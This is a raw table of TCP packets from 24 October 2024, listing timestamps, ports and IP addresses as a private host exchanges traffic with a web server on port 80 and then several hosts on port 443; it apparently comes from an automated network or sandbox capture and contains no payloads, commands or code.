Oct 24, 2024 08:45:27.624289036 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.624301910 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.624322891 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.624332905 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.624332905 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.624363899 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.624363899 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.624990940 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.625010967 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.625066996 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.625361919 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.627496958 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.627516031 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.627552032 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.627588034 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.627628088 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.737597942 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.737627983 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.737698078 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.737740993 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.737766027 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.737776041 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.737796068 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.737801075 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.737819910 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.737826109 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.737833977 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.737838030 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.737857103 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.737859011 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.737867117 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.737874985 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.737893105 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.737903118 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.737943888 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.737946987 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.737965107 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.737988949 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.737996101 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.738023043 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.738029003 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.738048077 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.738084078 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.738101959 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.738101959 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.738116026 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.738133907 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.738133907 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.738146067 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.738152981 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.738154888 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.738173008 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.738195896 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.738199949 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.738219023 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.738234043 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.738244057 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.738255978 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.738277912 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.738280058 CEST	80	49166	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:27.738306999 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:27.738317966 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:30.299748898 CEST	49166	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:33.735018015 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:33.740329027 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:33.740392923 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:33.740700960 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:33.746035099 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.428013086 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.428044081 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.428060055 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.428076029 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.428086996 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.428091049 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.428106070 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.428118944 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.428118944 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.428121090 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.428128004 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.428138018 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.428143024 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.428152084 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.428160906 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.428169966 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.428175926 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.428198099 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.433525085 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.433578014 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.433581114 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.433618069 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.433681965 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.433706045 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.433720112 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.433738947 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.547070026 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.547117949 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.547133923 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.547148943 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.547163963 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.547199965 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.547234058 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.547364950 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.547389984 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.547404051 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.547408104 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.547430992 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.547449112 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.547753096 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.547791958 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.547821999 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.547835112 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.547849894 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.547863960 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.547903061 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.548687935 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.548712015 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.548718929 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.548733950 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.548738003 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.548755884 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.548760891 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.548777103 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.548793077 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.548814058 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.549563885 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.549578905 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.549602032 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.549607038 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.549624920 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.549638987 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.549642086 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.549662113 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.549685955 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.550426960 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.550471067 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.552500010 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.552561998 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.555962086 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.665816069 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.665832996 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.665848017 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.665878057 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.665890932 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.665980101 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.665994883 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666008949 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666016102 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.666034937 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.666034937 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666040897 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666065931 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.666251898 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666276932 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666287899 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.666291952 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666301966 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.666318893 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.666459084 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666472912 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666488886 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666492939 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.666512012 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.666516066 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666524887 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666526079 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.666549921 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.666562080 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.666853905 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666868925 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666883945 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666889906 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.666903019 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.666910887 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666922092 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.666924953 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666937113 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.666944027 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666959047 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.666969061 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.666973114 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.666990042 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.667004108 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.667012930 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.667016983 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.667027950 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.667032003 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.667042971 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.667059898 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.667793036 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.667808056 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.667829037 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.667834997 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.667840958 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.667850018 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.667865038 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.667865038 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.667881012 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.667887926 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.667896032 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.667902946 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.667917013 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.667921066 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.667932034 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.667932987 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.667944908 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.667947054 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.667960882 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.667964935 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.667978048 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.667992115 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.668672085 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.668685913 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.668699980 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.668720007 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.668732882 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.668736935 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.668752909 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.668766022 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.668768883 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.668781042 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.668782949 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.668795109 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.668798923 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.668812037 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.668821096 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.668826103 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.668833017 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.668840885 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.668845892 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.668860912 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.668876886 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.668896914 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.784913063 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785001993 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785000086 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785048008 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785058975 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785092115 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785103083 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785125971 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785132885 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785157919 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785168886 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785202026 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785209894 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785243034 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785254955 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785276890 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785284042 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785310030 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785324097 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785343885 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785346031 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785376072 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785388947 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785412073 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785418987 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785454988 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785463095 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785478115 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785506964 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785509109 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785528898 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785547972 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785557985 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785590887 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785603046 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785623074 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785633087 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785655975 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785664082 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785687923 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785698891 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785721064 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785729885 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785756111 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.785765886 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.785798073 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.786134958 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.786185980 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.786186934 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.786221027 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.786231995 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.786263943 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.786271095 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.786303043 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.786319017 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.786334991 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.786346912 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.786370039 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.786385059 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.786401987 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.786410093 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.786442995 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.786443949 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.786456108 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.786468983 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:34.786484003 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.786504030 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:34.790326118 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:39.455533028 CEST	80	49167	192.3.176.141	192.168.2.22
Oct 24, 2024 08:45:39.455688000 CEST	49167	80	192.168.2.22	192.3.176.141
Oct 24, 2024 08:45:39.888087034 CEST	49168	443	192.168.2.22	216.58.212.174
Oct 24, 2024 08:45:39.888122082 CEST	443	49168	216.58.212.174	192.168.2.22
Oct 24, 2024 08:45:39.888189077 CEST	49168	443	192.168.2.22	216.58.212.174
Oct 24, 2024 08:45:39.892258883 CEST	49168	443	192.168.2.22	216.58.212.174
Oct 24, 2024 08:45:39.892281055 CEST	443	49168	216.58.212.174	192.168.2.22
Oct 24, 2024 08:45:40.756673098 CEST	443	49168	216.58.212.174	192.168.2.22
Oct 24, 2024 08:45:40.756735086 CEST	49168	443	192.168.2.22	216.58.212.174
Oct 24, 2024 08:45:40.757535934 CEST	443	49168	216.58.212.174	192.168.2.22
Oct 24, 2024 08:45:40.757576942 CEST	49168	443	192.168.2.22	216.58.212.174
Oct 24, 2024 08:45:40.763704062 CEST	49168	443	192.168.2.22	216.58.212.174
Oct 24, 2024 08:45:40.763719082 CEST	443	49168	216.58.212.174	192.168.2.22
Oct 24, 2024 08:45:40.764059067 CEST	443	49168	216.58.212.174	192.168.2.22
Oct 24, 2024 08:45:40.840027094 CEST	49168	443	192.168.2.22	216.58.212.174
Oct 24, 2024 08:45:40.887341022 CEST	443	49168	216.58.212.174	192.168.2.22
Oct 24, 2024 08:45:41.204577923 CEST	443	49168	216.58.212.174	192.168.2.22
Oct 24, 2024 08:45:41.325195074 CEST	443	49168	216.58.212.174	192.168.2.22
Oct 24, 2024 08:45:41.325262070 CEST	49168	443	192.168.2.22	216.58.212.174
Oct 24, 2024 08:45:41.524539948 CEST	49168	443	192.168.2.22	216.58.212.174
Oct 24, 2024 08:45:41.544941902 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:41.545048952 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:41.545128107 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:41.545631886 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:41.545654058 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:42.162540913 CEST	49170	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:42.162609100 CEST	443	49170	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:42.164061069 CEST	49170	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:42.164350033 CEST	49170	443	192.168.2.22	5.159.62.244
Oct 24, 2024 08:45:42.164366961 CEST	443	49170	5.159.62.244	192.168.2.22
Oct 24, 2024 08:45:42.409828901 CEST	443	49169	142.250.186.97	192.168.2.22
Oct 24, 2024 08:45:42.409929037 CEST	49169	443	192.168.2.22	142.250.186.97
Oct 24, 2024 08:45:42.414300919 CEST	49169	443	192.168.2.22	142.250.186.97
